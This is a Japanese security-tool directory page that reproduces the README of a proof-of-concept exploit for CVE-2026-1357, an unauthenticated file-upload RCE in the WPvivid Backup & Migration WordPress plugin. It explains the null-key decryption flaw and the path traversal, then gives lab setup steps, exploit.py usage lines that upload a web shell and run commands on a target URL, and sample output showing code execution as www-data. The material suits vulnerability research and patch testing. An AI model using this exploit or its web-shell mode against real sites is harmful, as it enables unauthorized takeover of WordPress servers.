Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-1357 — CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 未認証RCEエクスプロイト | Kitploit
ツール/GitHubGitHub/halilkirazkaya/cve-2026-1357
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育ラボと実践
GitHubhalilkirazkaya/cve-2026-1357

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 未認証RCEエクスプロイト

リポジトリを見る
1435ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-1357 — WPvivid Backup & Migration RCE

認証なし任意ファイルアップロード → リモートコード実行

フィールド値
CVECVE-2026-1357
CVSS9.8 (Critical)
プラグインWPvivid Backup & Migration
影響を受けるバージョン≤ 0.9.123
修正バージョン0.9.124
発見者Lucas Montes (NiRoX)
PoC作成者halilkirazkaya

概要

WPvivid Backup & Migration プラグイン (≤ 0.9.123) には、認証されていない攻撃者が任意の PHP ファイルをサーバーにアップロードできる重大な脆弱性が含まれており、リモートコード実行 (RCE) につながります。

このエクスプロイトチェーンは2つのバグを組み合わせています:

1. 暗号化のフェイルオープン

プラグインは wpvivid_action=send_to_site フックを介してリモートバックアップ転送を処理します。セッションキーの復号化時に、不正な RSA キーに対して openssl_private_decrypt() が false を返します。プラグインはこの戻り値をチェックせず、false を phpseclib v1 の Crypt_Rijndael に渡し、これは CBC モードと null IV で 16 バイトの null キー (\x00 × 16) として扱います。

2. パストラバーサル

復号化された JSON ペイロード内の name パラメータはサニタイズされていません。攻撃者は ../ シーケンスを使用して、制限されたバックアップディレクトリの外部にある、公開アクセス可能な wp-content/uploads/ ディレクトリに PHP ファイルを書き込むことができます。

制約

wpvivid_api_token がプラグイン設定で生成されており、期限切れでない必要があります。


セットアップ

1. 脆弱なプラグインのダウンロード

WPvivid Backup & Migration v0.9.123 (脆弱なバージョン) をダウンロードして展開します:

root@kitploit:~
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip

これにより wpvivid-backuprestore/ ディレクトリが作成され、docker-compose.yml を介して Docker コンテナにマウントされます。

2. ラボ環境の起動

root@kitploit:~
docker compose up -d

3. WordPress の設定

  1. http://localhost を開き、WordPress のインストールを完了します。
  2. プラグイン → インストール済みプラグイン に移動し、WPvivid Backup & Migration を有効化します。
  3. WPvivid → 設定 → 自動移行 に移動し、生成 をクリックしてキーを作成します (これにより脆弱なコードパスが有効になります)。

4. 依存関係のインストール

root@kitploit:~
pip install -r requirements.txt

使用方法

root@kitploit:~
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c

# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s

# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"

実行例 (確認モード)

root@kitploit:~
[*] ターゲット       : http://localhost/
[*] モード         : 確認
[*] アップロードパス  : ../uploads/h8xq9b3v2z1c.txt

[+] 暗号化ペイロードを生成中 (AES-128-CBC, null キー + null IV)...
[+] ペイロードサイズ : 392 バイト (base64)
[+] wpvivid_action=send_to_site 経由でエクスプロイトを送信中...
[+] レスポンス     : 200
[+] 本文         : {"result":"success","op":"finished"}

[+] 確認先: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] 脆弱性確認済み! ファイル内容が MD5 と一致しました。

実行例 (シェルモード)

root@kitploit:~
[*] ターゲット       : http://localhost/
[*] モード         : シェル
[*] アップロードパス  : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] 確認コマンド   : id

[+] 暗号化ペイロードを生成中 (AES-128-CBC, null キー + null IV)...
[+] ペイロードサイズ : 392 バイト (base64)
[+] wpvivid_action=send_to_site 経由でエクスプロイトを送信中...
[+] レスポンス     : 200
[+] 本文         : {"result":"success","op":"finished"}

[+] 確認先: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE 確認済み!
[✓] 出力:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

参考文献

  • Wordfence アドバイザリ
  • LucasM0ntes によるオリジナル PoC

免責事項

このツールは許可されたセキュリティテストおよび教育目的のみで提供されています。コンピュータシステムへの不正アクセスは違法です。責任を持って使用してください。

ツールをダウンロード